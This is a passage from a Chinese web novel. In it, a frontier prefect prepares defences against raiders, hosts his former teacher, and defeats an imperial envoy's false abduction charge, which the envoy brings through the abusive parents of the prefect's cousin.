工房再次收到了赵丰年的图纸,只不过,这回不是民生相关,而是一把弩箭。 赵丰年跟陆木匠解释完,陆木匠惊叹不已。 “大人放心,我们一定早日做出来,另外,我想请大人准许其他匠人参与其中,毕竟,凭着我们几个人,短时间做出几百个连弩来,怕是有些困难。”陆木匠自然也听说了最近发生的事。 赵丰年自然不无不可,陆木匠找来的人,府衙还要经过筛选,不怕出事。 很快,各县就开始组织人手日夜巡逻了,以村为单位,每个村都要安排巡逻的人选,百姓们一打听就知道发什么了什么事,当即破口大骂起来。 “该死的戎贼,咱们这日子才好些,这么快就又要来害咱们了!” “要让我碰到了戎人,我拼了老命也不能让他们进村!” 见府衙在招人组织民兵,百姓们纷纷响应,以王家为首的北地商会商户,不约而同捐赠了物资,美其名曰支持民兵护卫队。 自从北地的百姓手里渐渐有了余钱,大家都乐意买东西,这两年,可以说是北地的商户们日子最好过的时候,他们自然不希望戎人卷土重来,否则,他们这些人,怕是头一个被抢的对象。 在多方支持下,府衙很快就招到了三百余人,民兵团也有了雏形,柳大尺担任领头。 柳大尺本来按照李将军前面的训练方法练兵,紧接着,赵丰年就拉着他商议了新方法,柳大尺只觉得赵丰年这法子比李将军的还要好,当即就照赵丰年的意思训练去了。 赵丰年有一回去看过,训练十分顺利,柳大尺在这方面居然十分有天赋,不过短短半月,竟有些将领气派了,看得赵丰年欣慰不已。 而这时候工房的弩箭也做出来了,第一把弩箭还是柳大尺的爹做出来的,他也自然对这东西不陌生,当即为众人演示了一番,看完后,众人的眼神都不一样了。 有了这个,百米之外即可取敌人性命,这样的威力,瞄准也不成问题,大家虽然都恨戎人才加入护卫队,但是能保住性命谁又愿意死呢? 赵丰年也想过要不要把火药弄出来,但是考虑再三还是暂时放弃了。 火药会改变整个格局,届时死的人就不只一个两个了,他担心自己掌控不了。 要不是大夏朝严格控制兵器铁器的锻造,赵丰年还想试验一番百炼钢,但是,考虑自己目前不过是个知府,为了避免在夺嫡节骨眼上被打上谋反的名号,他还是老老实实再研究研究其他的武器吧。 就在整个北地都进入防御状态之时,一队人马也在这个时候来到了北地。 “这就是北定府?瞧着倒比我想象中要好得多了。” “看来,阿年把这里治理得很好。” 一行人来到了城墙外,却被拦了下来。 而此时,赵丰年还在城外视察挖壕沟,听说有个自称他老师的人带着一波人找他,在城门口哦跟守城的卫兵发生了冲突,被拦了下来,赵丰年一愣,连忙骑上马飞奔城门而去。 到了地方,不是傅青云还是谁。 “老师——” “阿年!” 赵丰年当即下马给傅青云行了一个大礼。 傅青云笑着将人扶了起来。 “阿年,两年没见了,你还是一如既往,一向可还?” “老师才是,一如既往精神奕奕,老师要来怎么没在上回的信里说一声,我也好派人去接应你们,老师这回是一个人来的?” 赵丰年看向那边马车,以及马车旁边一个满头小辫子的少年。 “还有你师母跟雪儿,都是误会,那孩子是我们路上碰到的,说是要来寻亲,我们带了他一程,不算是戎人。” 赵丰年明白了,怕是守卫一看见那少年就把他们也都当作戎人了。 此时,守卫其中一人就过来赔罪了。 “你也是尽忠尽职,不妨事。”赵丰年宽慰了几句,又隔着马车跟傅老妇人请了安,这才带着人往城里走。 回到了府衙,赵丰年这才正式给傅青云跟傅老妇人行了礼,傅轻雪坐在一旁,并未说什么。 傅青云也这才问起了方才的事。 “老师有所不知,前些日子,有百姓发现了戎人,虽然我已询问北门关,那边并未察觉到异常,但是为了以防万一,目前整个北定府都在戒严。” 傅青云也猜到了一二,只是方才在外头毕竟人多眼杂没有多问。 “彭昌嫉恶如仇,多年镇守边疆,三年前调到北门关后,一直兢兢业业,想必会好好排查。” “我也是这样想的,所以想着那些贼子怕是还有其他入关途径。” 毕竟刚到北地,一路舟车劳顿,赵丰年没有跟几人多聊,亲自带着人去休息去了。 再次见到傅家人,巧娘跟赵来贺都很开心,忙上街去订了半只羊,说要给傅家人做一次北地的招牌羊肉羹。 晚饭前,傅轻雪找到了赵丰年。 “许久不见了。” “嗯,许久不见了。” 这次傅青云来北地的目的之一,就是为了傅轻雪的婚事,两人都心知肚明。 “爷爷想必也告诉你了?” 赵丰年看了她一眼,“不是你先告诉我的吗?” 傅轻雪笑了笑,“你不能怪我,起初你答应过我的,一纸婚约,既然你我有约在先,我怎么能答应五皇子的求亲呢?” 赵丰年也笑了,“那看来我是把一个皇位候选人彻底得罪了?” “只是一个跳梁小丑而已。” “看来五皇子的风评不怎么好。” 傅轻雪看了眼他手边的账册,又移开了目光,“但凡我们的陛下还有理智,就应该知道,江山交给五皇子,还不如交给他才出生的十八皇子。” “年老的帝王,理智?” “确实,所以还是有风险的,如此,你还愿意吗?” “我似乎也没有反悔的余地了。” 傅轻雪摇摇头,“我也可以是在路上跟人私奔,而你只是一个借口。” 赵丰年却将手边的账本递给她,“还是来看看投资成果吧,傅老板。” 傅家人受到了大家的热切欢迎。 杨菱第一次见到傅青云,激动不已,要不是赵丰年拉着,险些出了丑,就连冷存真,得知傅青云来了北地,都赶过来拜访,赵丰年还是头一回知道,冷存真也是会笑的。 听闻北地第一家学堂就在五树县,傅青云当即应下冷存真要去五树学堂看看。 而他们带过来的那个少年,赵丰年本想把人交给拓九,奈何那少年许是寻亲的路上受了欺负还是怎么的,防御心很强,赵丰年无奈,只得把拓九喊来了府衙。 拓九一看那少年就若有所思。 “这人,像是有些熟悉。” “莫非,是你弟弟?” 拓九顿时不敢思了,“我才没有这么脏兮兮的弟弟呢!我是觉得,好像是在哪里见过。” 还是赵青青认了出来,“是不是跟 阿彩长得有些像?” 拓九一拍桌子,“还真是!” “葛达只说阿彩的母亲从戎族带来了阿彩,没提到其他人,莫不是这孩子是阿彩弟弟,一直在戎族,可阿彩母亲既然回到了戎族,他们母子应该团聚了,他又为何会出现在这里?” 赵丰年说完,看向了那少年,“你听得懂我们说话?你找的是谁?” 那少年起初有些茫然,赵丰年又说了一遍,他才点头,“找,姐姐。” “他好像不太懂我们的话。” 这时候,拓九就派上用场了,果然,拓九一说戎语,那少年迅速明白了过来。 “他说他叫阿贡,戎族到处都在打架,他跟母亲逃难出来,路上母亲死了,让他来找阿彩。” 几人面面相觑。 “戎族,内乱啊?” 第75章 第75章钦差大臣 赵丰年还想再让拓九多问出一点东西来,可惜那少年就避而不谈了。 还是个有原则的,赵丰年挑眉,并没有继续追问,只让拓九告诉他,他姐姐跟大胖回去了,得晚些时候才回来。 赵丰年本想着,有拓九这么一个能说戎语的人在,阿贡应该会觉得亲切,继而跟着拓九回去,没成想,阿贡一听说姐姐会回这里,就赖在府衙不走了。 赵丰年不好勉强,只得让他留了下来,左右也不过多张嘴吃饭的事。 大胖前些日子才托人带了信来,信里说他跟阿彩已经成亲了,打算今年在家里过完年,等年后冬雪化后再来北地,赵丰年也如实告诉了阿贡,省得他成日跟在他身后像个小尾巴。 北地今年的冬雪落了下来,年节也快要到了。 王文请示了赵丰年今年腊八节大集还办不办的时候,赵丰年这才意识到,这几个月来,大家确实都崩得太紧了。 “照常办,去年菘菜比赛挺热闹的,今年要是不办,怕是百姓们会失望了,这个你也安排人下去。” 王文如今也算是独当一面了,闻言笑了,“是,大人,大家伙们就等着这一句话呢。” 傅老夫人发现北地气氛忽然突变,正惊奇呢,巧娘笑着解释,“是腊八节大集,北地去年开始举办的,到时候热闹着呢,还有一个菘菜大赛,比的是谁家菘菜种得好,百姓们都乐意瞧,去年小河县种出了颗三斤四两的菘菜呢,乖乖,一只手都抱不拢!” 傅老夫人听得稀奇,“也就阿年会弄出这些花样来了。” “忙碌了一年,就盼着过年热闹热闹,高兴高兴,是该做的。” 因为戎人的事还在头上悬着,赵丰年丝毫不敢松懈,一边派人加强集市的巡逻,一边自己镇守府衙,是以,今年的腊八节大集,巧娘是跟傅老夫人一起逛的。 直到过完年,都没有发现戎人的踪迹,北地的巡逻也慢慢就减少了,只保留了日常的巡逻。 过完年,赵丰年照例召开了官员大会,如今,水泥路在北地随处可见,沙沙县今年的枣树就能结果子了,制油厂也走上了正轨;犁丘县去年秋天收获了药材,在五树学堂学药材炮制的人一起开了一家药材炮制厂,专门一条龙进行药材炮制买卖,也叫犁丘县百姓过了一个肥年,莫县令脸上的笑就没停下来来过;小河县跟五树县粮食产量第一第二,今年小河县打算扩张制油厂了,会吸纳更多的百姓去干活,而五树县的学堂也稳扎稳打;牧县的牛羊马都在扩张,纺织厂的羊毛布保暖又轻便,预计今年走出北地。 赵青青照例说完过去展望未来,不忘提到天河计划。 众人再听完这些,都不禁感慨北地日新月异,想着到这里,众人看赵丰年的目光都变得越发崇敬。 “这都是大家一起努力的结果,大家都是希望北地越来越来好,北地百姓生活越来越富足。” 赵丰年一句话落下这次官员大会的帷幕。 傅青云在后衙,也感叹不已。 “以阿年之力,这个人人避之不及的北定府,将来未必不能成为人人向往之地。” 过完年,很快就是春耕了,只是,还没等春耕结束,朝廷的钦差就来了。 赵丰年接到邸报的第一时间,就去寻傅青云了。 “不知老师可知这夏岚是何人?” “竟然是夏岚?”傅青云也有些惊讶,“他是吏部侍郎,五皇子的人,此人御史出身,一年前名声不显,半年前忽然冒出了头来,太子被斥责之事,便有他之推手。” “这么说来,此人不是个好对付的。” “能派他为主官,看来,五皇子的势力越发大了,不过,顾子升也在随行人员之中,这说明,陛下也并不是全然相信五皇子,也许,这是个突破口。” 赵丰年点点头,接下来该做什么就做什么,全然没有要即将迎接钦差大臣的紧张。 五月的时候,钦差的人马到了北定府,大胖刚好从赵家村回来,在城门口遇到了钦差的队伍驱赶四周的百姓。 大胖不明所以,阿彩却往他身后躲了躲。 “没事,别怕,估摸着是别处的官员。” 赵丰年很快就得知了消息,当即准备出城迎接。 夏岚看到赵丰年的第一眼就开始发难了。 “赵大人,本官奉皇命而来,你怎可怠慢,这么些会儿才赶到?不知道的,还以为你藐视皇命呢。” 只一句话,就让赵丰年知道了这位夏大人来者不善。 “夏大人说的是,只是如今正值农忙,陛下重视农耕,下官也时时刻刻不忘关心农事,唯恐有负陛下嘱托,是以来得晚了些,还望大人赎罪。” 夏岚看了他一眼,“倒是个巧言善辩的。” 赵丰年只笑了笑。 “走吧,先去衙门。” 只是到了府衙,那夏岚又开始嫌弃起来,“这里便是北定府府衙?赵大人好歹是一府知府,又是在北定府,既然陛下命你来这里,你便应背负起皇恩,让这里的贱民们都看到我大夏官员的气度,如此方能彰显我大夏国威,震慑这里的刁民,你这府衙如此破败,实在有碍观瞻,损我大夏官员之风!” 其他人已经看钦差大臣十分不爽了,赵丰年只作一脸苦闷,“夏大人说的有理,只是,实不相瞒,这北地苦寒穷困,衙门里实在是库里空空,下官又是农家出身,这囊中羞涩……不过,既然陛下派了夏大人前来,不知可是为了解北地困境而来?” 夏岚闻言果然一脸鄙夷,听到赵丰年想要银子,立马摆手。 “罢了罢了,都是为朝廷做事的,今日初到,先送本官去驿馆歇息,待明日再来回话吧。” 驿馆是知道钦差要来的消息之后就准备好了的,此前装备了两套方案,如今知道钦差是这么个态度,赵丰年使了个眼色,杨菱立马明白了。 “那我马上安排人带夏大人过去,只是北定府驿馆简陋,还要委屈大人了,大人早些歇息,待晚上我等再为您准备接风宴。” 夏岚不无不可,离开了。 赵丰年这才看向了顾子升。 “好小子,你也真是刀枪不入!”顾子升笑着拍着赵丰年肩膀。 “子升兄,别来无恙。” 顾子升也感慨万千。 “京城一别,转眼就两年了,从前信里看得不真切,如今我来了这里,你可要好好 带我四处转转。” “这是自然,也叫你看看北地风光,你是住府衙还是驿馆?我爹娘得知你一起来,早些时候就盼着了,给你留了一整只羊。” 顾子升笑得眉眼弯弯,“我这一身乱糟糟的,等我稍作休整,晚些时候再亲自拜见叔婶,我还是也住驿馆,也好盯着点夏岚,你不知道,他这回就是来抓你的错处的,我好不容易求了圣上一起过来,就怕他胡乱攀咬你。” 赵丰年十分感动,“子升兄,多谢你了。” “嗨,我跟你谁跟谁啊,说什么谢不谢的。” 这时候,赵青青跟王文过来送材料,见到一如既往脸黑的顾子升,赵青青笑着行了一个福礼。 “顾大人,许久未见了,一向可好?” 顾子升却看着赵青青瞪大了双眼,“赵青青?你都这么大啦?” 其实也不过过去了两年,只是,在顾子升看来,以前那个跟在他们身后的小姑娘总是垂着眸子,脸上挂着温柔的笑容,像是一朵养在暖房的花骨朵,生怕一阵风吹来,就要吹折了她的枝干,而如今的赵青青,挺直了脊背抬头笑着,落落大方,只叫人想到那傲骨的寒梅,跟以前相比,判若两人。 “我早听说你帮着阿年在衙门做事,如今看来,果然是巾帼不让须眉!” 赵青青又笑了笑,直看得顾子升移不开眼。 赵丰年没察觉到这一幕,也附和,“青姐确实能力出众。” “就别夸我了,我是来给你送各县今年耕地名册的,既然你们忙着,我先给你放书房?” “就放我案上吧,子升兄刚到,还没休整,一会就去驿馆了,对了,王文你来的正好,你送顾大人去驿馆吧。” 王文连忙应下。 “那,顾大人,您这边请?” 顾子升目光还留在赵青青身上,闻言,连忙收回目光跟两人道了别。 钦差来了北地,底下各县的官员自然要来拜见,于是,第二日,夏岚看着底下行礼的各县官员,本就因为睡不好而败坏的心情,愈发不好了。 “这北定府底下的官员是怎么个流程?怎么什么人都能担任县令了?罢了罢了,赵大人,圣上看中春耕,先把各县耕地数目呈上来吧。” “是,夏大人稍等。” 拓九一干人等陪了一上午,应付完各种问话才被放了出来,到了后面,就是最胆小的沙不多都不免心中不满。 “这钦差大人是个什么来头,对咱们又是冷嘲讥讽,又是瞧不上的,处处贬低我们,问个话跟拷问犯人似得,这也太过分了!” “冷嘲热讽。”冷存真看了他一眼,纠正道。 拓九更气了,“知道了,就数你读的书多好吧,可刚才那钦差还不是照样遍踩扁你。” 王师爷拉了拉自家大人的衣袖,“大人,是‘贬低’啊。” 拓九不说话了。 “还是在府衙,我们就少说几句吧,也省得给知府大人惹麻烦。”莫东西说了一句实在话。 钦差大人没发话放他们回去,担心还要被传唤问话,他们还得继续候着。 不多时,赵青青命人给他们送上了饭食。 冷存真顺势问起了赵青青那夏岚的来历。 赵青青想了想,原也不是什么好隐瞒的,就将夏岚的事告诉他们了。 “难怪对我们鼻子不是鼻子眼睛不是眼睛的,合着是鸡蛋里挑骨头,故意找茬呢!”拓九不满。 “没办法,如今只能应付了,几位大人也请暂且多忍耐些时候,等人走了,就没事了。” 一干人等直接等到了午后,说是钦差大人乏了,回去休息了,几人这才憋着一肚子气离开了府衙。 赵丰年这边,也在商量着钦差的事。 “在城门口的时候,我看那些他那些下属驱赶百姓就知道他不是个好的。”大胖回来后,也很快进入了府衙的工作中。 “今日他看了田税、商税,还问到了盛富贵跟之前的李家的一些事,离开的时候还问了巡逻队的事,怕是这个夏岚也不是表面上这般愚蠢。” 赵丰年明白赵青青的意思。 “他明日开始要去底下各个县城巡视,跟各县说一声,都做好准备,他要查什么都只管让他查,不要发生冲突。” “是。” “其他县也就罢了,我就怕牧县那边,怕是夏大人会有不满。” 牧县戎人跟当地人的后代比较多,就怕夏岚看见了,要当作贼子处理,到时候拓九护犊子的脾性上来了,怕是真的要出事。 赵丰年沉吟片刻,“这也是避免不了的事,他也不能说那些人就不是大夏人了,胖哥,你这些日子先去牧县,跟那边好好通通气,别叫他抓住了把柄。” “行,正好,我带阿彩回去住些时候。” 提到阿彩,赵丰年这才想起来,有个疑似阿彩弟弟的人还在府衙里,也得亏是夏岚没看到,不然也要跟看到拓九似的不满了。 只是,眼下可不是什么认亲的好时机,赵丰年趁机跟柳大尺说了一声,让他带阿贡去养马场避避风头。 过了一段时日,夏岚巡视后依旧没抓到错处,脸色眼看着越来越难看。 “我们不日就要回去复命了,他寻不到由头,又有我在一旁监督,也没办法睁着眼说瞎话,怕是在生闷气呢。” 顾子升一脸得意。 赵丰年却觉得没这么简单,夏岚毕竟是五皇子的人,五皇子早就把自己打为太子党派,如今眼看着北地越来越好,肯定不想自己立功回京城,为太子再添助力。 就算是没有由头也要找个由头,是以,赵丰年只觉得这人怕是在憋着什么大招。 果然,没过几日,夏岚还是发难了。 起因是他听到了府衙有人喊赵青青为典吏。 “一介女流之辈,怎么能在衙门里担任官吏呢?赵大人也是读圣贤书出身的,怎么这点道理都不懂,竟然行如此伤风败俗之事?本官定要禀明圣上,言你滥用职权,倒反天罡!” 赵丰年当场就黑了脸,顾子升也是一脸气愤。 “夏大人,赵姑娘是我家中姊妹,不过是来帮忙的,并未有授予官职,北地识字之人甚少,下官请个幕僚罢了,恐怕谈不上滥用职权罢?” “幕僚?赵大人,你任用一女子为幕僚,不怕天下人耻笑吗?” 赵丰年微笑,“能者居之,天下人想必没那闲功夫耻笑下官。” 要赵丰年说,夏岚这番指责实在是有些牵强了,别说赵青青只有典吏之名,就是他真的授赵青青官职,在北地特殊情况下,朝廷也不会判定他的罪,夏岚不会不知道,却依旧这样做了,这倒是让他一时间摸不清夏岚葫芦里卖的什么药。 只是,没过几日,他就知道了。 “如今是有人状告赵大人你拐带人口啊,本官虽为钦差,却也算是你的上官,不得不审理这桩案子啊。” 赵丰年看到了那原告,是赵来喜跟王小红。 不知为何,在看到这两个人后,赵丰年悬着的心竟然放了下来。 “既然被告都找上了本官为他们做主,赵丰年,你还有什么好说的?” 第76章 第76章开堂 府衙后衙,听闻赵来喜跟王小红找上门来,还要状告赵丰年,赵青青当即就愣住了。 “青青?”傅轻雪忍不住担忧。 赵青青扯出一个笑容,“我没事。” 自从被夏岚挑刺儿,赵青青就暂时放下了府衙的公事,一切只等他离开后再说,只是她没想到,夏岚竟然憋了这么一招,更让她没想到的是,赵来喜王小红竟然还想找她。 “你是我远方表妹的女儿,我的外甥女,我看谁敢胡说八道!”巧娘气得恨不得冲到前头把那两不配当人爹娘的人骂一顿。 “夏岚想要升堂审理这件事,青姐,倘若你不想面对他们,可以称病,夏岚想要定的是我的罪,不会在意这个。” “不,我要去。”赵青青 双眼坚定,“我要听听,他们究竟想要什么,我也想知道,到底他们还要把我逼到什么程度,那夏岚是用我的事做把柄威胁阿年,只要我出面,说我是自愿离家,他们的话自然不攻自破,顶多一些闲言碎语,我没有错,也没什么可怕的。” 众人都于心不忍,赵翠翠走到她身边。 “姐姐,我陪着你。” 赵青青对她笑了笑,“不,那些不好的东西,翠翠就不要见了,省得脏了你的眼,污了你的耳。” 赵来贺这时候却想到了一点,“青青跟翠翠还活着的事,他们怎么会知道呢?除非是有人告诉了赵来喜,可是咱们来了这里后就没有跟赵家村联络过。” 是啊,他们怎么会知道,还这么巧就找到了夏岚呢? 正当大家思索之时,赵有志一个弹跳起来,看着赵丰年,“不,不是我!我没有告诉他们任何人!我是写过家书回去,可是我绝对没有提到青青翠翠还活着的事!” 赵有志见他不说话,还以为真的怀疑上他了,连忙就要指天发誓,“我知道我是后面才来的这里的,以前也干过混账事,你们怀疑我也很正常,但是,我可以发誓,我真的没有跟赵家村提过青青翠翠哪怕一句话!” 赵丰年叹了口气,“有志哥,你坐下吧,没人怀疑你。” 赵有志虽然坐下了,但是心里还是愤愤,就差把那个不知道的谁逮出来打一顿了。 顾子升得知夏岚竟然咬住了这件事,也忙赶了过来,听完他们的应对之策,顾子升又气又急。 “让青青说自己是主动离家的,岂不是要坏了她的名声?她一个姑娘家,如何面对那些流言蜚语?” “多谢顾大人,只是我已经决定好了,这也是最好的解决方法,夏岚为了是寻阿年的麻烦,绝不会相信我们的证词,我那爹娘是什么德行我比谁都清楚,但凡见到我,绝对会咬着不放,只要我一口咬定是自己偷偷离开家,就没有所谓的拐骗不拐骗了。” “那你总要有个理由,比如为什么要离开家吧?夏岚也不是傻子,他能看不出来吗?” “理由也是现成的,起初赵来喜想把我送给临县县令做小,我不愿意,所以偷偷离家,就是任何人停了也不觉得有什么。” 顾子升气急,却又不知从何说起,转而质问赵丰年,“阿年你倒是说说话啊,她可是你亲姐姐,你能忍心看她往后被人指指点点,背负骂名吗?” 赵丰年没回这话,“如今,也只能走一步看一步了。” 顾子升气得回到了驿馆。 他人刚走没多久,这边拓九也来了。 “我都听说了,你们不方便的话,我可以出面解决,届时可以推到戎人头上,我已经安排好了,只要你们一句话。” 赵丰年看了他一眼,发现他竟然是认真的。 “你想怎么解决?杀人灭口?” 拓九看向赵青青,“你觉得呢?青姑娘,我保证不会留下任何痕迹。” 赵青青直接被逗笑了,竟觉得这几日来笼罩在她头上的阴霾都减少了。 “拓大人,多谢你了,只不过,为此背上人命,不值得……” “只要是你点头,就是值得的。” 赵青青愣了愣。 良久,“到底是父女母女一场,他们不仁,我却不想不义。” 拓九只能放弃了。 “我方才听说你要说自己自愿逃跑的,你是不是想说私奔,如果这样的话,我也可以当你私奔的对象。” 赵丰年绝望地发现,拓九这句话竟然也是认真的。 “拓九啊,这私奔不是什么好词来着。” 所以,别说得跟去外头认识了一个生意伙伴似的! “别担心,我让人飞鸽传书去了赵家村,堂审在春耕后,还有时间。” 只是再怎么拖延,还是到了升堂这天。 这天,各地的百姓都赶了来府衙。 “赵大人是个好大人,怎么拐骗少女?再说,赵典吏是给知府大人做事的,真被拐卖来的,还能这么卖力干活吗?” “就是,我看,就是那什么钦差见不得我们好呢,又是一个要害知府大人的!” “前头有姓‘盛’的,又来一个姓‘夏’的,老天爷这是成心见不得我们好哇!” 北定府是赵丰年的主场,今天他却只能作为被告,坐在下首一个座位,高堂之上自然是夏岚,顾子升说是不管他们了,却依旧来了,此时坐在夏岚下首,虎视眈眈盯着堂下的赵来喜夫妻。 赵来喜跟王小红也不知道经历了什么,两人双颊凹陷,蓬头垢面,衣衫褴褛,跟路边的叫花子也没两样了,刚见面那会儿,赵丰年就险些没认出来。 只是,这些日子他们作为夏岚找来的原告,许是夏岚怕他们动手脚,便派人讲两人保护了起来,不仅让人好生关照着他们,也有住处,不缺吃喝,照理来说不该是这样一幅模样,而今天,二人依旧这样出现,可见是用心良苦了。 “堂下二人,速速报上名来,你们今日为何来此,也一一说来。” 赵来喜浑身一哆嗦,连忙开口,“大人,小人有冤啊,小人原是怀江府临县赵家村人士,祖祖辈辈都是老实本分的庄稼汉,原跟老妻生了二女一子,结果三年前,大女儿不知所终,小女儿也不幸惨遭山体滑坡去世,小人夫妻二人以为两个女儿都遭遇不幸,悲痛欲绝,只得离开赵家村那个伤心之地,可怜我夫妻二人接连丧女,白发人送黑发人,妻子也终日以泪洗面,却未料想,前些日子去村中探望老娘,听闻我们那大女儿其实没有死,人还活着,却是被人拐带了!而这拐带的不是旁人,竟是他堂弟!” 夏岚看了眼赵丰年,“哦,竟有这事?那这堂弟?” “就是如今北定府知府赵丰年!” 众人一片哗然。 “小人大女儿生的貌美,从小就是村里一枝花,小人兄弟四人,就数老四家有钱,赵知府就是小人那四弟的儿子,那时小人两个女儿为了补贴家用,时常去四弟家帮忙干活赚口粮,哪知道,竟然惹出了后面的丑事!其实现在想来,那个时候,赵丰年就对小人大女儿起了贼心了,实在是罔顾人伦!后面他一家搬到怀江府,小人一家在村里,他便设计拐骗了小人大女儿,可怜小人小女儿连夜出去找姐姐,却惨遭被山体掩埋而死啊!求大人做主啊——” “肃静!”夏岚拍了惊堂木,这才转向赵丰年,“赵大人,你好歹是圣上钦点的状元,怎可做出这等事来,实在是罔顾人伦,有辱圣贤,陛下以仁孝治国,你欺辱亲姐,是为不仁,于长辈不孝,品行败坏,私德有亏,实在不堪为官,等回了京城,本官定要禀明陛下,治你一个品行败坏之罪!” 赵丰年却笑了,“夏大人,两方对簿公堂,你却只轻信一面之辞,莫不是夏大人平日里为陛下办事也是这般武断的?” “此二人言之凿凿,莫不是你为了脱罪,竟不认他们同你有亲?” 赵丰年只瞥了眼赵来喜夫妻,赵来喜夫妻 被他看得下意识低下了头,赵丰年只又笑道,“这二人确实是下官二伯二伯母,只是,他们因卖女求荣,致两个女儿香消玉殒之事,在整个临县都不是什么秘密,因着此事,我赵氏宗族曾将二人除名,也因此,落得个四邻厌恶,被人唾弃的下场,大人但凡派人去调查一番就能知道,此二人之言论,实在不足为信。” “不,不是的,不是的,小妇人的大女儿没有死,她还活着啊,大人啊,你千万别听他的,我们大女儿就是被他拐骗走了,大人你治他的罪——” “肃静——” 王小红吓得不敢出声了。 “赵丰年,据我所知,前些日子你府衙那位你口中所谓的姊妹,幕僚,正是叫赵青青,你也曾在多次在本官面前维护此女,莫不是现在又想矢口否认?” “对对对,我们女儿就叫赵青青!”王小红见缝插针喊了一句,撞到上方的目光又连忙低下头来。 赵丰年收回目光,“夏大人,那人确实是我家中姊妹,只是却不是我堂姊,而是我母家那边的远房表亲,不幸父母双亡才来投奔我母亲的,这事也是众所周知的事,就连顾大人,乃至是如今正在北定府的傅大儒都是知道的。” 顾子升适时出声,“确实如此,赵大人还没考上秀才之时,我便同赵大人认识了,他有个远方表亲的事大家都知道,只不过两人刚好同名,被人误会也是有的,想来,这二人就是误会了。” “不是本官不相信顾大人,只是顾大人同赵大人的关系,人尽皆知,而傅大儒,又是你赵大人的老师,顾大人跟傅大儒的话,只怕不能作为证据了,其实也不必如此,既然那二人口口声声说那女子是他们女儿,而赵大人你却坚持是同名的远房表亲,如今那女子就在府衙,直接传她上堂,与那二人对峙就一清二楚了,毕竟,哪有不认识女儿的父母呢。” 随即,赵青青就被传唤上了堂。 百姓们对赵青青已经不陌生了,见她在这样的情况下还面带微笑,虽然跪着,却挺直了腰背,不亢不卑行着礼,顿时七嘴八舌议论起来了。 “就单看咱们赵吏这模样这气质,哪里像是这两人生的!” “就是,别不是看人同名,又死了女儿,见如今赵吏能干,想上来攀亲戚的吧?” “可怜我们赵吏父母双亡,还要被这种事缠上,这叫什么事!” “肃静——” 惊堂木一响,众人又安静下来。 这时候赵来喜也看到了赵青青,起初还有些迷茫,随即就认了出来,“你个死丫——” “青青,是我们青青!是我们女儿啊!”王小红及时打断了赵来喜的话,瞬间向赵青青扑过去。 赵青青后退几步躲开,看都不看他们一眼,再次行礼,“夏大人,民女自幼父母双亡,一路逃难找到姨母,幸得姨母姨丈收留这才活了下来,实在不知为何此二人会错认我是他们女儿。” “你个死丫头,我们一路辛辛苦苦过来,你就是这样不孝,不认亲爹亲娘了?别以为你如今攀上高枝了就瞧不上穷爹娘了,我告诉你,你活着就永远得听我们的!大人,你可要为小人做主啊,这丫头如今过上好日子了,就不认我们了,这是大不孝啊,您得打她板子啊——” “还没听说哪个当亲爹亲娘的要人打自家孩子呢,就这样你还好意思说你们是她亲爹娘?” 拓九怒目而视。 “堂下何人?都说了不许喧哗,再犯连你也一并受罚!” 赵丰年看着人却笑了,“大人,此人是牧县拓县令,下官此前请拓县令帮下官找证人,如今看来,证人就在外面,还请夏大人请人上堂,依据大人所言,当堂对峙。” 夏岚有些不情愿,顾子升却直接下令让人带人上来了。 等大胖扶着人走进来,赵丰年忙起身前去迎了上去。 “奶。” 来人正是张氏。 张氏老了不少,已经拄上了拐杖,只是此时,她站都站不稳,却不错眼地看着孙子,拍着他的手安抚。 “丰年,你回去坐着,有奶在。” “堂下何人?” 赵丰年行一礼,“夏大人,证人正是下官祖母,既然这二人说赵青青是他们女儿,那就是我祖母的孙女,没有父母认不出女儿来,自然也不会有做祖母的认不出孙女来,是或不是,一看便知。” 夏岚思索片刻,却见张氏看了眼赵来喜二人,又走到了赵青青面前,上下打量了一番。 赵青青抬起头看着张氏,努力压回眼泪。 张氏表情不变,没过多久又转向上方。 “这不是我的孙女,大人,老婆子两个孙女没那福气,可怜早些年就死了。”张氏杵着拐杖,双腿颤颤巍巍,但是语气十分坚定,“这姑娘是个多好的姑娘,老婆子的孙女要是活着,也差不多这么大了。老婆子这二儿子跟二媳妇自从逼死两个女儿后,就被族里赶出去了,后面就抛下年迈的爹娘,躲进城里一门心思养小儿子了,可惜,小妇人那个孙子也是个没出息的,考上了秀才不好好珍惜,终日吃喝玩乐,后头把他俩也抛弃了,这两人就疯疯癫癫的,见着谁都说是自己孩子。 过年那会儿,老婆子跟老伴不忍心,接了他们回来一起过年,就说要是青青姊妹还在那该有多好,却不想她二人以为小妇人大孙女还活着,把四媳妇外甥女当作了小妇人孙女,非要嚷着要来找人,小妇人在村里找不到人,得知他们来了北一来怕他们给赵大人惹麻烦,二来也是担心他们出了事,就赶忙让家里人一起来找人了,谁知道刚过来就听说他二人惹出来麻烦来,这才连忙赶了过来。” 赵青青维持着磕头的姿态,一颗颗泪珠咂在堂上的地砖上,开出了一朵朵泪花。 王小红不敢置信,“娘你胡说什么,她就是青青啊!大人,她撒谎,大人做主啊,这个贱人真的是我们的女儿!她就是发达了不认父母啊,大人,您打她板子,打她板子,她肯定就招了!” 赵来喜拦都拦不住,这话一出,顿时没人再相信二人了。 “赵王氏,你口口声声说这是你女儿,却要求夏大人下重刑,天下岂有这样的父母,可见赵大人所言非虚,你二人丧女打击太大,导致认错人了。” 顾子升立马下了决断。 夏岚看得脸都黑了。 王氏还要上前攀扯张氏,却被衙役拉住了。 “娘你不要胡说,她是我女儿,就是我女儿!你告诉他们啊——赵青青你不认生父生母,你大不孝啊,赵丰年你拐带我女儿,你也不是好的——” 很快,王小红赵来喜就被拉了下去。 眼看着这场闹剧落下帷幕,赵丰年冲夏岚抱拳,“可怜天下父母心,赵二跟赵王氏也是因丧女过度伤心,还请夏大人不要为难二人,相信经此一事,他们也不会再来打扰我们,再者,此事因他二人而起,也绝不怪大人失察轻信,夏大人定然也不是有意构陷下官,这一点,夏大人尽管放心,下官折子上绝对不会跟陛下提起。” 夏岚本来打算落空就脸色难看,如今听了赵丰年这番话,愈发脸黑如炭。 赵丰年却转头扶着张氏,带着赵青青一行人离开。 正是午后,阳光耀眼夺目,赵丰年停下脚步,指着天上的日头道,“看,青姐,太阳出来了。” 赵青青再次泪流满面。 是啊,太阳出来了。 第77章 第77章落网 “没事就好,该,关他们几个月都是便宜他们了!”巧娘一边抹着眼泪一边拉着赵青青不撒手。 开堂的时候,赵丰年没叫巧娘赵来贺去听,怕他们忍不住反倒要气到自己,如今回来了,得知一切顺利的两人这心才落了下来。 等再看到张氏,两人更是惊喜又惊讶。 